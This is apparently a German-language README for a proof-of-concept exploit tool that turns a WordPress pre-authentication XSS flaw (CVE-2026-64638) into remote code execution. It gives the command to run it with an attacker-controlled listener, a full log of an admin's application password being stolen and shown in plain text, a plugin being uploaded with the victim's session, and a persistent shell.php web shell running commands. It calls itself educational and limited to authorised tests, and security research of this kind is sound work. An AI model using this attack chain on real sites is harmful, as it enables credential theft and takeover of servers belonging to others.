
Wordpress Pre-auth XSS to RCE exploit PoC (xss2shell & CVE-2026-64638)
XSS2Shell ist ein Proof of Concept zu Bildungszwecken für CVE-2026-64638, der die Auswirkungen einer Pre-Authentication-XSS-Schwachstelle in verwundbaren WordPress-Installationen demonstriert. Mit der ausdrücklichen Beteiligung eines Administrators erfasst der PoC ein WordPress-Anwendungspasswort, veröffentlicht eine temporäre Seite, lädt ein Test-Plugin hoch und prüft, ob der resultierende Shell-Endpunkt einen Befehl ausführen kann.
Technischer Hintergrund: WordPress Pre-Auth XSS to RCE: CVE-2026-64638
Nur für Bildungszwecke und autorisierte Tests. Führen Sie dieses Tool nur gegen WordPress-Seiten aus, die Sie besitzen oder für die Sie eine schriftliche Genehmigung zur Prüfung haben. Verwenden Sie es nicht, um Administratoren Dritter oder Produktionssysteme anzugreifen.
python3 xss2shell_poc.py -t http://wordpress.research.local --lhost 192.168.1.227 --lport 8080 -c "whoami"
Die Ziel-URL wird automatisch normalisiert, daher ist ein abschließender Schrägstrich optional.
/wp-login.php erreichbar ist und wie eine WordPress-Anmeldeseite aussieht.shell.php und führt den angeforderten Befehl aus.Der Listener muss vom Browser des Administrators erreichbar sein. NAT, Firewall, Proxy, Popup-Blocker und Mixed-Content-Regeln können verhindern, dass der Browser-Ablauf abgeschlossen wird.
__ __ _ _____
\ \ / / | |/ ____|
\ \ /\ / /__ _ __ __| | (___ ___ ___
\ \/ \/ / _ \| '__/ _` |\___ \ / _ \/ __|
\ /\ / (_) | | | (_| |____) | __/ (__
\/ \/ \___/|_| \__,_|_____/ \___|\___|
xss2shell & CVE-2026-64638 | https://wordsec.net/ - Education Purpose Only
============================================================
[*] XSS2Shell starting ...
[*] Checking target: http://wordpress.research.local/wp-login.php
[+] Admin panel found: http://wordpress.research.local/wp-login.php
[+] Attacker server listening: 192.168.1.227:8080
[*] On the target website, the admin must open this page and log in:
-> http://wordpress.research.local/wp-login.php
[*] Then the admin opens the link that was sent to them:
-> http://192.168.1.227:8080/
[*] Waiting for the admin to visit (Ctrl+C to stop) ...
[+] Child popup document initialized
[+] Popup window ready, XSS payload prepared
[+] Application Password saved to xss2shell_creds.json for later runs (shell: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php)
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=3SGS Loba 2Txw EzWz EbZC xZst (saved to xss2shell_creds.json)
[+] Attacker page published: http://wordpress.research.local/xss2shell-1786125273210/
[+] Plugin ZIP upload request sent with the victim's session
[+] Shell reachable: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php
============================================================
[+] Command output:
www-data
============================================================
[*] Cleanup: published page deleted (id=61)
[*] Cleanup: Application Password, plugin shell, and saved credentials preserved
[+] Shell link: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php?cmd=whoami
[+] Done.
Erfolgreiche Läufe speichern das erfasste Anwendungspasswort in xss2shell_creds.json zur Wiederverwendung bei späteren Läufen. Die temporäre veröffentlichte Seite wird nach dem Befehl automatisch gelöscht, sofern nicht --keep verwendet wird.
Das Test-Plugin, der Shell-Endpunkt, das Anwendungspasswort und die gespeicherten Anmeldeinformationen werden vom aktuellen PoC absichtlich aufbewahrt. Entfernen Sie sie nach einer autorisierten Bewertung manuell von der Testseite und löschen Sie xss2shell_creds.json lokal.
Behandeln Sie die Datei mit den Anmeldeinformationen als vertraulich und committen Sie sie niemals in die Versionskontrolle.
Verwenden Sie die in diesem Repository enthaltene Lizenz.
Erstellt von WordSec
| Option | Erforderlich | Beschreibung |
|---|
-t, --target | Ja | WordPress-Basis-URL, einschließlich http:// oder https:// |
-c, --command | Ja | Befehl, der ausgeführt werden soll, sobald die Shell verfügbar ist |
--lhost | Nein | Listener-IP zum Binden und Ankündigen; standardmäßig wird die erkannte LAN-IP verwendet |
--lport | Nein | Listener-Port; 0 wählt einen zufälligen verfügbaren Port |
--keep | Nein | Veröffentlichte Artefakte behalten, anstatt die temporäre Seite zu löschen |